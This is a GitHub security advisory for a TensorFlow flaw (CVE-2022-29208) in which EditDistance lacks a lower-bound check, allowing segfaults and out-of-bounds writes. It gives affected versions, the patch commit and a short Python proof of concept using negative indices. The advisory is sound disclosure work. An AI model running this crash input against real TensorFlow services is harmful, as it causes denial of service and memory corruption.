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Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

High severity GitHub Reviewed Published May 17, 2022 in tensorflow/tensorflow • Updated Jan 30, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.6.4
>= 2.7.0, < 2.7.2
>= 2.8.0, < 2.8.1

Patched versions

2.6.4
2.7.2
2.8.1
pip tensorflow-cpu (pip)
< 2.6.4
>= 2.7.0, < 2.7.2
>= 2.8.0, < 2.8.1
2.6.4
2.7.2
2.8.1
pip tensorflow-gpu (pip)
< 2.6.4
>= 2.7.0, < 2.7.2
>= 2.8.0, < 2.8.1
2.6.4
2.7.2
2.8.1

Description

Impact

The implementation of tf.raw_ops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:

import tensorflow as tf

hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) 
hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)

truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth_values = tf.constant(2, shape=[3], dtype=tf.int64)
truth_shape = tf.constant(2, shape=[3], dtype=tf.int64) 

tf.raw_ops.EditDistance(
  hypothesis_indices=hypothesis_indices,
  hypothesis_values=hypothesis_values,
  hypothesis_shape=hypothesis_shape,
  truth_indices=truth_indices,
  truth_values=truth_values,
  truth_shape=truth_shape)

In multiple places throughout the code, we are computing an index for a write operation:

if (g_truth == g_hypothesis) {
  auto loc = std::inner_product(g_truth.begin(), g_truth.end(),
                                output_strides.begin(), int64_t{0});
  OP_REQUIRES(
      ctx, loc < output_elements,
      errors::Internal("Got an inner product ", loc,
                       " which would require in writing to outside of "
                       "the buffer for the output tensor (max elements ",
                       output_elements, ")"));
  output_t(loc) =
      gtl::LevenshteinDistance<T>(truth_seq, hypothesis_seq, cmp);
  // ...
}

However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for loc.

Patches

We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

References

@mihaimaruseac mihaimaruseac published to tensorflow/tensorflow May 17, 2022
Published by the National Vulnerability Database May 20, 2022
Published to the GitHub Advisory Database May 24, 2022
Reviewed May 24, 2022
Last updated Jan 30, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

EPSS score

0.093%
(41st percentile)

Weaknesses

CVE ID

CVE-2022-29208

GHSA ID

GHSA-2r2f-g8mw-9gvr

Source code

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